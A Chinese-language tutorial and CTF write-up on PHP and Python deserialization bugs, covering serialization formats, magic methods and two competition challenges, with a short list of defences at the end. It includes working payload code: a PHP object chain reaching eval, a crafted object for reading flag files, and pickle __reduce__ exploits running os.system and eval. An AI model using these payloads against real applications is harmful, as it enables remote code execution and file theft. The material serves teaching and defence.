php和python反序列化漏洞分析
字数 1137 2025-08-20 18:18:05
PHP和Python反序列化漏洞分析
序列化与反序列化基础
序列化(Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。反序列化则是将这些格式化字符串转为对象形式的过程。
PHP序列化格式
O:7:"Student":1:{s:4:"name";s:4:"zjun";}
O表示对象7是对象名称长度Student是类名1表示有1个成员变量s:4:"name"表示字符串类型,长度4,变量名"name"s:4:"zjun"表示字符串类型,长度4,值"zjun"
PHP不同可见性属性的序列化
- public: 直接显示变量名
s:4:"name";s:4:"zjun"; - protected: 添加
\x00*\x00前缀s:6:"\x00*\x00age";s:2:"19"; - private: 添加
\x00类名\x00前缀s:15:"\x00Student\x00weight";s:2:"53";
PHP反序列化漏洞
关键魔术方法
| 魔术方法 | 触发时机 |
|---|---|
__sleep() |
在对象被序列化时调用 |
__wakeup() |
在对象被反序列化时调用 |
__construct() |
创建新对象时调用 |
__destruct() |
对象被销毁时调用 |
__toString() |
对象被当作字符串使用时调用 |
漏洞利用示例
class Student{
var $a;
function __destruct() {
$this->a->action();
}
}
class one {
var $b;
function action() {
eval($this->b);
}
}
unserialize($_GET['a']);
构造payload:
class Student {
var $a;
function __construct() {
$this->a = new one();
}
}
class one {
var $b = "phpinfo();";
}
echo serialize(new Student());
// 输出: O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}}
实例分析:网鼎杯2020青龙组AreUSerialz
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
}
}
private function read() {
return file_get_contents($this->filename);
}
}
绕过方法:
- PHP7+对属性类型不敏感,可将protected改为public绕过字符检查
- 设置op=2触发文件读取
构造payload:
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content;
}
echo serialize(new FileHandler());
// 输出: O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
Python反序列化漏洞
序列化模块
- pickle模块 - Python特有格式
- json模块 - 通用格式
pickle漏洞利用
通过重写__reduce__方法实现命令执行:
import pickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('whoami',))
payload = pickle.dumps(Exploit())
pickle.loads(payload) # 执行whoami命令
实例分析:CISCN2019华北赛区Day1 Web2 ikun
become = request.cookies.get('become')
user = pickle.loads(urllib.unquote(become)) # 反序列化漏洞
构造payload读取文件:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
# 输出: c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
防御措施
PHP防御
- 避免反序列化用户输入
- 使用
json_encode()/json_decode()替代 - 实现
__wakeup()或__destruct()时进行安全检查
Python防御
- 使用
json模块替代pickle - 使用
pickle时设置pickle.Unpickler的find_class限制可加载的类 - 不要反序列化不可信数据
总结
反序列化漏洞本质上是由于反序列化过程会执行对象的特定方法,攻击者通过精心构造的序列化数据触发危险操作。理解语言特定的序列化机制和魔术方法是发现和利用这类漏洞的关键。